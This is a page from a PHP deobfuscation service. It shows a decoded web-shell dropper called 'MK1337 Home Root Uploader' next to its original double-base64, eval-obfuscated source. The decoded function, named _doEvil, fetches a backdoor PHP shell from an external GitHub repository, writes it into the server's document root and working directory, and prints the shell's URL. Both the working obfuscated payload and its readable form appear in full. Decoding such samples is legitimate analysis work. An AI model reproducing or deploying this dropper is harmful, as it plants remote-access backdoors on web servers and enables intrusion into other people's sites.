Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<html><head><title>MK1337 Home Root Upload!</title><link href="https://raw.githubuserconte..
Decoded Output download
goto J9NJ7; RDH2l: function _doEvil($name, $file) { $filename = $name; $getFile = file_get_contents($file); $rootPath = $_SERVER["DOCUMENT_ROOT"] . DIRECTORY_SEPARATOR; $toRootFopen = fopen("{$rootPath}/{$filename}", "w"); $toRootExec = fwrite($toRootFopen, $getFile); $rootShellUrl = $_SERVER["HTTPS"] ? "https" : "http" . "://{$_SERVER["HTTP_HOST"]}" . "/{$filename}"; $realPath = getcwd() . DIRECTORY_SEPARATOR; $toRealFopen = fopen("{$realPath}/{$filename}", "w"); $toRealExec = fwrite($toRealFopen, $getFile); $realShellUrl = $_SERVER["HTTPS"] ? "https" : "http" . "://{$_SERVER["HTTP_HOST"]}" . dirname($_SERVER[REQUEST_URI]) . "/{$filename}"; echo "<center>"; if ($toRootExec) { if (file_exists($rootPath . "{$filename}")) { echo "<h1><font color="green"><a href="{$rootShellUrl}" target="_blank">{$rootShellUrl}</a></font></h1>"; } else { echo "<h1><font color="red">{$rootPath}{$filename}<br>Gagal! Dianjurkan Sebelum Mencoba Baca Yasin 3x</h1>"; } } else { if ($toRealExec) { if (file_exists($realPath . "{$filename}")) { echo "<h1><font color="green"><a href="{$realShellUrl}" target="_blank">{$realShellUrl}</a></font></h1>"; } else { echo "<h1><font color="red">Gagal!</font></h1>"; } } } echo "</center>"; } goto Dmj6X; J9NJ7: $source = "https://raw.githubusercontent.com/MataKucing-OFC/ShellBackDoor/main/MataKucingShellV2.php"; goto YHNYd; YHNYd: $name = "mk-1337 .php"; goto RDH2l; Dmj6X: _doEvil($name, $source); goto LBDJU; LBDJU:
Did this file decode correctly?
Original Code
<html><head><title>MK1337 Home Root Upload!</title><link href="https://raw.githubusercontent.com/MataKucing-OFC/CSS/main/Loading-(Preloading).css"rel="stylesheet"type="text/css"></head><center><h1 class="title">MK1337 Home Root Uploader</h1><div class="rainbow-marker-loader"></div></html>
<?php eval(base64_decode(base64_decode('Q2lCbmIzUnZJRW81VGtvM095QlNSRWd5YkRvZ1puVnVZM1JwYjI0Z1gyUnZSWFpwYkNna2JtRnRaU3dnSkdacGJHVXBJSHNnSkdacGJHVnVZVzFsSUQwZ0pHNWhiV1U3SUNSblpYUkdhV3hsSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1VwT3lBa2NtOXZkRkJoZEdnZ1BTQWtYMU5GVWxaRlVsc2lYREV3TkZ4NE5HWmNlRFF6WEhnMU5WeDROR1JjTVRBMVhIZzBaVng0TlRSY01UTTNYREV5TWx3eE1UZGNlRFJtWEhnMU5DSmRJQzRnUkVsU1JVTlVUMUpaWDFORlVFRlNRVlJQVWpzZ0pIUnZVbTl2ZEVadmNHVnVJRDBnWm05d1pXNG9JbnNrY205dmRGQmhkR2g5WEhneVpuc2tabWxzWlc1aGJXVjlJaXdnSWx4NE56Y2lLVHNnSkhSdlVtOXZkRVY0WldNZ1BTQm1kM0pwZEdVb0pIUnZVbTl2ZEVadmNHVnVMQ0FrWjJWMFJtbHNaU2s3SUNSeWIyOTBVMmhsYkd4VmNtd2dQU0FrWDFORlVsWkZVbHNpWERFeE1Gd3hNalJjTVRJMFhIZzFNRng0TlRNaVhTQS9JQ0pjTVRVd1hERTJORnd4TmpSY01UWXdYREUyTXlJZ09pQWlYSGcyT0Z3eE5qUmNNVFkwWERFMk1DSWdMaUFpWERjeVhIZ3labHcxTjNza1gxTkZVbFpGVWxzaVhIZzBPRnd4TWpSY01USTBYSGcxTUZ4NE5XWmNlRFE0WEhnMFpsd3hNak5jTVRJMElsMTlJaUF1SUNKY05UZDdKR1pwYkdWdVlXMWxmU0k3SUNSeVpXRnNVR0YwYUNBOUlHZGxkR04zWkNncElDNGdSRWxTUlVOVVQxSlpYMU5GVUVGU1FWUlBVanNnSkhSdlVtVmhiRVp2Y0dWdUlEMGdabTl3Wlc0b0luc2tjbVZoYkZCaGRHaDlYSGd5Wm5za1ptbHNaVzVoYldWOUlpd2dJbHd4TmpjaUtUc2dKSFJ2VW1WaGJFVjRaV01nUFNCbWQzSnBkR1VvSkhSdlVtVmhiRVp2Y0dWdUxDQWtaMlYwUm1sc1pTazdJQ1J5WldGc1UyaGxiR3hWY213Z1BTQWtYMU5GVWxaRlVsc2lYSGcwT0Z3eE1qUmNNVEkwWEhnMU1Gd3hNak1pWFNBL0lDSmNlRFk0WERFMk5GeDROelJjZURjd1hERTJNeUlnT2lBaVhERTFNRnd4TmpSY01UWTBYREUyTUNJZ0xpQWlYRGN5WERVM1hEVTNleVJmVTBWU1ZrVlNXeUpjZURRNFhERXlORng0TlRSY01USXdYSGcxWmx3eE1UQmNNVEUzWEhnMU0xeDROVFFpWFgwaUlDNGdaR2x5Ym1GdFpTZ2tYMU5GVWxaRlVsdFNSVkZWUlZOVVgxVlNTVjBwSUM0Z0lsdzFOM3NrWm1sc1pXNWhiV1Y5SWpzZ1pXTm9ieUFpWEhnelkxeDROak5jTVRRMVhERTFObHg0TnpSY2VEWTFYREUyTWx3M05pSTdJR2xtSUNna2RHOVNiMjkwUlhobFl5a2dleUJwWmlBb1ptbHNaVjlsZUdsemRITW9KSEp2YjNSUVlYUm9JQzRnSW5za1ptbHNaVzVoYldWOUlpa3BJSHNnWldOb2J5QWlYSGd6WTF4NE5qaGNOakZjZURObFhEYzBYREUwTmx3eE5UZGNNVFUyWEhnM05GeDRNakJjTVRRelhIZzJabHg0Tm1OY01UVTNYSGczTWx4NE0yUmNlREl5WERFME4xeDROekpjTVRRMVhIZzJOVng0Tm1WY2VESXlYRGMyWEhnelkxeDROakZjZURJd1hIZzJPRng0TnpKY01UUTFYSGcyTmx4NE0yUmNlREl5ZXlSeWIyOTBVMmhsYkd4VmNteDlYSGd5TWx3ME1GeDROelJjZURZeFhIZzNNbHd4TkRkY01UUTFYREUyTkZ3M05WdzBNbHd4TXpkY2VEWXlYREUxTkZ4NE5qRmNNVFUyWERFMU0xeDRNakpjZURObGV5UnliMjkwVTJobGJHeFZjbXg5WEhnelkxeDRNbVpjTVRReFhIZ3paVnczTkZ4NE1tWmNNVFEyWERFMU4xeDRObVZjZURjMFhIZ3paVng0TTJOY2VESm1YSGcyT0Z4NE16RmNOellpT3lCOUlHVnNjMlVnZXlCbFkyaHZJQ0pjZUROalhERTFNRng0TXpGY2VETmxYSGd6WTF4NE5qWmNNVFUzWEhnMlpWeDROelJjZURJd1hERTBNMXg0Tm1aY01UVTBYSGcyWmx4NE56SmNlRE5rWERReVhERTJNbHd4TkRWY2VEWTBYRFF5WEhnelpYc2tjbTl2ZEZCaGRHaDlleVJtYVd4bGJtRnRaWDFjTnpSY2VEWXlYREUyTWx4NE0yVmNNVEEzWERFME1Wd3hORGRjZURZeFhIZzJZMXg0TWpGY2VESXdYSGcwTkZ4NE5qbGNNVFF4WEhnMlpWeDRObUZjTVRZMVhIZzNNbHg0Tm1KY01UUXhYSGcyWlZ4NE1qQmNNVEl6WERFME5Wd3hOREpjTVRRMVhIZzJZMXd4TmpWY01UVTFYSGd5TUZ4NE5HUmNNVFExWERFMU5sd3hORE5jTVRVM1hERTBNbHd4TkRGY2VESXdYREV3TWx3eE5ERmNNVFF6WEhnMk1WdzBNRnd4TXpGY2VEWXhYREUyTTF4NE5qbGNlRFpsWEhneU1GeDRNek5jTVRjd1hEYzBYRFUzWERFMU1GdzJNVnczTmlJN0lIMGdmU0JsYkhObElIc2dhV1lnS0NSMGIxSmxZV3hGZUdWaktTQjdJR2xtSUNobWFXeGxYMlY0YVhOMGN5Z2tjbVZoYkZCaGRHZ2dMaUFpZXlSbWFXeGxibUZ0WlgwaUtTa2dleUJsWTJodklDSmNlRE5qWERFMU1GeDRNekZjZURObFhEYzBYSGcyTmx3eE5UZGNNVFUyWEhnM05GdzBNRnd4TkROY01UVTNYSGcyWTF3eE5UZGNNVFl5WEhnelpGeDRNakpjTVRRM1hERTJNbHg0TmpWY2VEWTFYSGcyWlZ3ME1seDRNMlZjTnpSY2VEWXhYSGd5TUZ4NE5qaGNlRGN5WEhnMk5Wd3hORFpjZUROa1hIZ3lNbnNrY21WaGJGTm9aV3hzVlhKc2ZWdzBNbHcwTUZ4NE56UmNlRFl4WERFMk1sd3hORGRjTVRRMVhIZzNORng0TTJSY2VESXlYSGcxWmx3eE5ESmNlRFpqWEhnMk1WeDRObVZjTVRVelhIZ3lNbHg0TTJWN0pISmxZV3hUYUdWc2JGVnliSDFjZUROalhEVTNYSGcyTVZ3M05seDRNMk5jTlRkY01UUTJYREUxTjF4NE5tVmNlRGMwWEhnelpWdzNORncxTjF4NE5qaGNOakZjTnpZaU95QjlJR1ZzYzJVZ2V5QmxZMmh2SUNKY2VETmpYSGcyT0Z3Mk1WeDRNMlZjTnpSY2VEWTJYREUxTjF3eE5UWmNNVFkwWEhneU1GeDROak5jTVRVM1hIZzJZMXg0Tm1aY2VEY3lYRGMxWERReVhIZzNNbHd4TkRWY2VEWTBYRFF5WERjMlhERXdOMXd4TkRGY01UUTNYREUwTVZ3eE5UUmNlREl4WEhnelkxeDRNbVpjZURZMlhERTFOMXg0Tm1WY01UWTBYSGd6WlZ4NE0yTmNOVGRjZURZNFhIZ3pNVng0TTJVaU95QjlJSDBnZlNCbFkyaHZJQ0pjZUROalhEVTNYREUwTTF4NE5qVmNlRFpsWEhnM05GeDROalZjZURjeVhIZ3paU0k3SUgwZ1oyOTBieUJFYldvMldEc2dTamxPU2pjNklDUnpiM1Z5WTJVZ1BTQWlYREUxTUZ3eE5qUmNlRGMwWEhnM01GeDROek5jZUROaFhIZ3labHcxTjF4NE56SmNlRFl4WEhnM04xdzFObHg0TmpkY01UVXhYREUyTkZ4NE5qaGNNVFkxWERFME1sd3hOalZjZURjelhIZzJOVng0TnpKY01UUXpYREUxTjF3eE5UWmNNVFkwWERFME5Wd3hOVFpjZURjMFhEVTJYSGcyTTF4NE5tWmNNVFUxWERVM1hERXhOVnd4TkRGY2VEYzBYSGcyTVZ4NE5HSmNlRGMxWERFME0xeDROamxjTVRVMlhERTBOMXcxTlZ3eE1UZGNNVEEyWERFd00xeDRNbVpjZURVelhIZzJPRnd4TkRWY2VEWmpYSGcyWTF3eE1ESmNlRFl4WERFME0xd3hOVE5jZURRMFhIZzJabHg0Tm1aY01UWXlYRFUzWEhnMlpGd3hOREZjTVRVeFhERTFObHcxTjF4NE5HUmNNVFF4WEhnM05Gd3hOREZjZURSaVhIZzNOVng0TmpOY2VEWTVYREUxTmx3eE5EZGNlRFV6WEhnMk9Gd3hORFZjTVRVMFhIZzJZMXd4TWpaY05qSmNOVFpjZURjd1hIZzJPRnd4TmpBaU95Qm5iM1J2SUZsSVRsbGtPeUJaU0U1WlpEb2dKRzVoYldVZ1BTQWlYREUxTlZ3eE5UTmNlREprWEhnek1WdzJNMXg0TXpOY2VETTNYRFF3WERVMlhERTJNRnd4TlRCY01UWXdJanNnWjI5MGJ5QlNSRWd5YkRzZ1JHMXFObGc2SUY5a2IwVjJhV3dvSkc1aGJXVXNJQ1J6YjNWeVkyVXBPeUJuYjNSdklFeENSRXBWT3lCTVFrUktWVG9n')));?>
Function Calls
base64_decode | 2 |
Stats
MD5 | 6bf5129119bf8e172cbbe2b65871c27f |
Eval Count | 1 |
Decode Time | 54 ms |